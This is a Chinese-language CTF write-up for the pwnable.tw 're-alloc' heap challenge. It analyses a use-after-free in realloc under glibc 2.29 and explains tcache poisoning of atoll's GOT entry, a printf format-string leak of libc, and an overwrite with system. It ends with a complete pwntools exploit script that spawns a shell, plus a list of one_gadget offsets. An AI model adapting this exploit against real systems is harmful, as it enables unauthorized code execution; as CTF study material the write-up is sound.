Pwnable.tw realloc

0x10 程序分析

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
// local variable allocation has failed, the output may be wrong! int __cdecl __noreturn main(int argc, const char **argv, const char **envp) { int v3; // [rsp+4h] [rbp-Ch] unsigned __int64 v4; // [rsp+8h] [rbp-8h] v4 = __readfsqword(0x28u); v3 = 0; init_proc(*(_QWORD *)&argc, argv, envp); while ( 1 ) { while ( 1 ) { menu(); __isoc99_scanf("%d", &v3); if ( v3 != 2 ) break; reallocate(); } if ( v3 > 2 ) { if ( v3 == 3 ) { rfree(); } else { if ( v3 == 4 ) _exit(0); LABEL_13: puts("Invalid Choice"); } } else { if ( v3 != 1 ) goto LABEL_13; allocate(); } } }

程序提供了三个功能:

  • alloc
  • realloc
  • Free

先看alloc函数

int allocate() { _BYTE *v0; // rax unsigned __int64 v2; // [rsp+0h] [rbp-20h] __int64 v3; // [rsp+0h] [rbp-20h] unsigned __int64 size; // [rsp+8h] [rbp-18h] void *v5; // [rsp+18h] [rbp-8h] printf("Index:", 0LL, 0LL, 0LL, 0LL); v2 = read_long(); if ( v2 > 1 || heap[v2] ) { LODWORD(v0) = puts("Invalid !"); } else { printf("Size:", v2); size = read_long(); if ( size <= 0x78 ) // size 可为0 { v5 = realloc(0LL, size); // realloc size 为 0 的时候会free一次 if ( v5 ) { heap[v3] = v5; printf("Data:", size); v0 = (_BYTE *)(heap[v3] + read_input(heap[v3], (unsigned int)size)); *v0 = 0; } else { LODWORD(v0) = puts("alloc error"); } } else { LODWORD(v0) = puts("Too large!"); } } return (signed int)v0; }

这里可以看到size可以为0,这里只能alloc前两个堆块

Read_input

__int64 __fastcall read_input(__int64 a1, unsigned int a2) { __int64 result; // rax LODWORD(result) = __read_chk(0LL, a1, a2, a2); if ( !(_DWORD)result ) { puts("read error"); _exit(1); } if ( *(_BYTE *)((signed int)result - 1LL + a1) == 10 ) *(_BYTE *)((signed int)result - 1LL + a1) = 0; return (signed int)result; }

reallloc函数

int reallocate() { unsigned __int64 v1; // [rsp+8h] [rbp-18h] unsigned __int64 size; // [rsp+10h] [rbp-10h] void *v3; // [rsp+18h] [rbp-8h] printf("Index:"); v1 = read_long(); if ( v1 > 1 || !heap[v1] ) return puts("Invalid !"); printf("Size:"); size = read_long(); if ( size > 0x78 ) return puts("Too large!"); v3 = realloc((void *)heap[v1], size); if ( !v3 ) return puts("alloc error"); heap[v1] = v3; printf("Data:", size); return read_input(heap[v1], size); }

这里只能realloc前两个堆块

rfree 函数

int rfree() { _QWORD *v0; // rax unsigned __int64 v2; // [rsp+8h] [rbp-8h] printf("Index:"); v2 = read_long(); if ( v2 > 1 ) { LODWORD(v0) = puts("Invalid !"); } else { realloc((void *)heap[v2], 0LL); v0 = heap; heap[v2] = 0LL; } return (signed int)v0; }

0x20 利用思路

通过rfree函数我们可以发现当realloc(heap[v1],0)的时候其实是完成了一次free操作,而前面两次alloc函数都可以完成size为0的操作,也就是说在某种意义上讲这三个函数都可以是free,但其中两个是在free之后没有滞空操作的,这就造成了UAF漏洞

alloc:
realloc(0,size)
realloc:
realloc(heap[v1],size) //这里我们就可以对已经释放的堆块修改

image-20210722194719667

而题目中给出的libc是2.29版本的libc

image-20210722194903343

在2.29当中是有Teachebin以及key存在的,且此时程序没有泄漏地址的函数,我们要思考如何完成利用

首先:

  1. 程序没有开启PIE,给了我们固定的地址(bss段上)用来绕过Teachebin
  2. 其次,还有一个难题就是,如何泄漏libc

最后就是如何利用的问题

我们从源码角度来看下glibc2.29的堆管理机制以及realloc函数的实现部分

void * __libc_realloc (void *oldmem, size_t bytes) { mstate ar_ptr; INTERNAL_SIZE_T nb; /* padded request size */ void *newp; /* chunk to return */ void *(*hook) (void *, size_t, const void *) = atomic_forced_read (__realloc_hook); if (__builtin_expect (hook != NULL, 0)) return (*hook)(oldmem, bytes, RETURN_ADDRESS (0)); // 读取realloc_hook 如果不为空就跳转 #if REALLOC_ZERO_BYTES_FREES if (bytes == 0 && oldmem != NULL) //如果 realloc(oldmen, 0) { __libc_free (oldmem); return 0; // 就调用free } #endif /* realloc of null is supposed to be same as malloc */ if (oldmem == 0) return __libc_malloc (bytes); // 如果 realloc(0,bytes) 调用 malloc /* chunk corresponding to oldmem */ const mchunkptr oldp = mem2chunk (oldmem); /* its size */ const INTERNAL_SIZE_T oldsize = chunksize (oldp); if (chunk_is_mmapped (oldp)) //检查 chunk 是否被申请过 ar_ptr = NULL; // 如果申请过就将ar_ptr 置空 else { MAYBE_INIT_TCACHE (); ar_ptr = arena_for_chunk (oldp); } /* Little security check which won't hurt performance: the allocator never wrapps around at the end of the address space. Therefore we can exclude some size values which might appear here by accident or by "design" from some intruder. We need to bypass this check for dumped fake mmap chunks from the old main arena because the new malloc may provide additional alignment. */ if ((__builtin_expect ((uintptr_t) oldp > (uintptr_t) -oldsize, 0) || __builtin_expect (misaligned_chunk (oldp), 0)) && !DUMPED_MAIN_ARENA_CHUNK (oldp)) malloc_printerr ("realloc(): invalid pointer"); checked_request2size (bytes, nb); if (chunk_is_mmapped (oldp)) { /* If this is a faked mmapped chunk from the dumped main arena, always make a copy (and do not free the old chunk). */ if (DUMPED_MAIN_ARENA_CHUNK (oldp)) / { /* Must alloc, copy, free. */ void *newmem = __libc_malloc (bytes); if (newmem == 0) return NULL; /* Copy as many bytes as are available from the old chunk and fit into the new size. NB: The overhead for faked mmapped chunks is only SIZE_SZ, not 2 * SIZE_SZ as for regular mmapped chunks. */ if (bytes > oldsize - SIZE_SZ) bytes = oldsize - SIZE_SZ; memcpy (newmem, oldmem, bytes); return newmem; } void *newmem; #if HAVE_MREMAP newp = mremap_chunk (oldp, nb); if (newp) return chunk2mem (newp); #endif /* Note the extra SIZE_SZ overhead. */ if (oldsize - SIZE_SZ >= nb) return oldmem; /* do nothing */ /* Must alloc, copy, free. */ newmem = __libc_malloc (bytes); if (newmem == 0) return 0; /* propagate failure */ memcpy (newmem, oldmem, oldsize - 2 * SIZE_SZ); munmap_chunk (oldp); return newmem; } if (SINGLE_THREAD_P) { newp = _int_realloc (ar_ptr, oldp, oldsize, nb); assert (!newp || chunk_is_mmapped (mem2chunk (newp)) || ar_ptr == arena_for_chunk (mem2chunk (newp))); return newp; } __libc_lock_lock (ar_ptr->mutex); newp = _int_realloc (ar_ptr, oldp, oldsize, nb); __libc_lock_unlock (ar_ptr->mutex); assert (!newp || chunk_is_mmapped (mem2chunk (newp)) || ar_ptr == arena_for_chunk (mem2chunk (newp))); if (newp == NULL) { /* Try harder to allocate memory in other arenas. */ LIBC_PROBE (memory_realloc_retry, 2, bytes, oldmem); newp = __libc_malloc (bytes); if (newp != NULL) { memcpy (newp, oldmem, oldsize - SIZE_SZ); _int_free (ar_ptr, oldp, 0); } } return newp; }

大概就是:

void * __libc_realloc (void *oldmem, size_t bytes)

如果realloc_hook不为空的时候就去执行realloc_hook的内容

​ 如果realloc(heap[v1],0) &&heap[v1]!=0 则调用free

​ 如果realloc(0,size)则调用malloc

​ 检查堆块是否是第一次被申请

​ 检查堆块是否是从main_arena dump的,并且不free之前的堆块,重新申请堆块,并复制内容到新的堆块

​ 如果之前的size大于重新分配后的size,不free之前的堆块,重新分配新的堆块,并复制内容到新的堆块,这时返回旧块的指针

      /* Note the extra SIZE_SZ overhead. */
      if (oldsize - SIZE_SZ >= nb)
        return oldmem;   

从这里我们可以看出,realloc修改size后的块,与之前的块不是同一个块,这点对于我们的做题很有帮助,因为我们只能同时在堆块上存在两个块

让我们整理一下我们的利用思路:当我们这样调用时

realloc(0,0x10,"AAA") 
realloc2(0,0,"CCC")
此时:堆块被free掉,但指针还在bss上
realloc(0,0x10,"CCCC")
由于堆块指针还在,因此我们实际上是在操作已经被free的堆块
realloc(free_chunk,0x10,"CCC")
此时我们会将free_chunk的fd指针修改,如果我们再次申请两次就可以拿到我们修改的fd的位置

image-20210726191437182

然后rfree()清空留下来的指针,不断这样操作就可以在Teache中留下两个指针

image-20210726191725161

此时可以看到Teache中有两个chunk指向atoll,我们就可以开始利用了,程序没有show这样的函数,因此我们要通过其他手段来进行泄漏,比如:printf

我们将atoll的got表覆盖为printf的,这样我们就可以通过格式化字符串来泄露地址,这里要注意的是,我们需要控制printf的返回值来完成利用

最后将atoll的got表覆盖为system,就可以完成利用了

image-20210726192234793

0x30 Finalexp

#/usr/bin/env python #-*-coding:utf-8-*- from pwn import * proc="./re-alloc" context.update(arch = 'x86', os = 'linux') elf=ELF(proc) libc = ELF("./libc-9bb401974abeef59efcdd0ae35c5fc0ce63d3e7b.so") def choice(operand): sh.sendlineafter("Your choice:",str(operand)) def alloc(index, size,data): choice(1) sh.sendlineafter("Index:",str(index)) sh.sendlineafter("Size:",str(size)) sh.sendafter("Data:",data) def realloc(index, size,data): choice(2) sh.sendlineafter("Index:",str(index)) sh.sendlineafter("Size:",str(size)) sh.sendafter("Data:",data) def realloc2(index, size,data): choice(2) sh.sendlineafter("Index:",str(index)) sh.sendlineafter("Size:",str(size)) # sh.sendafter("Data:",data) def rfree(index): choice(3) sh.sendlineafter("Index:",str(index)) def pwn(ip,port,debug): global sh if debug==1: context.log_level="debug" sh=process(proc) else: sh=remote(ip,port) context.log_level="debug" printf_plt = elf.symbols["printf"] atoll_plt = elf.symbols["atoll"] atoll_got = elf.got["atoll"] log.info("printf_plt:"+hex(printf_plt)) log.info("atoll_plt:"+hex(atoll_plt)) log.info("atoll_got:"+ hex(atoll_got)) alloc(0,0x28,"CC") realloc2(0,0,"BB") realloc(0,0x28,p64(atoll_got)) alloc(1,0x28,"AAA") realloc(0,0x38,"AA") rfree(0) realloc(1,0x48,"AA") rfree(1) alloc(0, 0x58, "bbbb") realloc2(0, 0, "11") realloc(0, 0x58, p64(atoll_got)) alloc(1, 0x58, "bbbb") realloc(0, 0x68, "a"*8) rfree(0) realloc(1, 0x78, "a"*8) rfree(1) alloc(0,0x28,p64(printf_plt)) sh.sendlineafter("Your choice: ","3") sh.sendlineafter("Index:","%21$p") sh.recvuntil("0x") leak = int(sh.recv(12),16) log.info("leak:" +hex(leak)) libc_base = leak - 235 - libc.symbols["__libc_start_main"] log.info("libc_base:"+hex(libc_base)) one_gadget = 0xe2383 +libc_base system = libc_base + libc.symbols["system"] sh.sendlineafter("Your choice: ","1") sh.sendafter("Index:","a") sh.sendafter("Size:","%88c") sh.sendafter("Data:",p64(system)) sh.sendlineafter("Your choice: ","1") sh.sendafter("Index:","/bin/sh\x00") #sh.sendline("cat /home/re-alloc/flag") #sh.sendline("find /home -name flag | xargs cat") # gdb.attach(sh) sh.interactive() if __name__ =="__main__": pwn("chall.pwnable.tw",10106,0) """ heap 0x004040B0 heap[0] heap[1] one_gadget local 0x4f3d5 execve("/bin/sh", rsp+0x40, environ) constraints: rsp & 0xf == 0 rcx == NULL 0x4f432 execve("/bin/sh", rsp+0x40, environ) constraints: [rsp+0x40] == NULL 0x10a41c execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL libc_remote 0xe21ce execve("/bin/sh", r15, r13) constraints: [r15] == NULL || r15 == NULL [r13] == NULL || r13 == NULL 0xe21d1 execve("/bin/sh", r15, rdx) constraints: [r15] == NULL || r15 == NULL [rdx] == NULL || rdx == NULL 0xe21d4 execve("/bin/sh", rsi, rdx) constraints: [rsi] == NULL || rsi == NULL [rdx] == NULL || rdx == NULL 0xe237f execve("/bin/sh", rcx, [rbp-0x70]) constraints: [rcx] == NULL || rcx == NULL [[rbp-0x70]] == NULL || [rbp-0x70] == NULL 0xe2383 execve("/bin/sh", rcx, rdx) constraints: [rcx] == NULL || rcx == NULL [rdx] == NULL || rdx == NULL 0x106ef8 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL """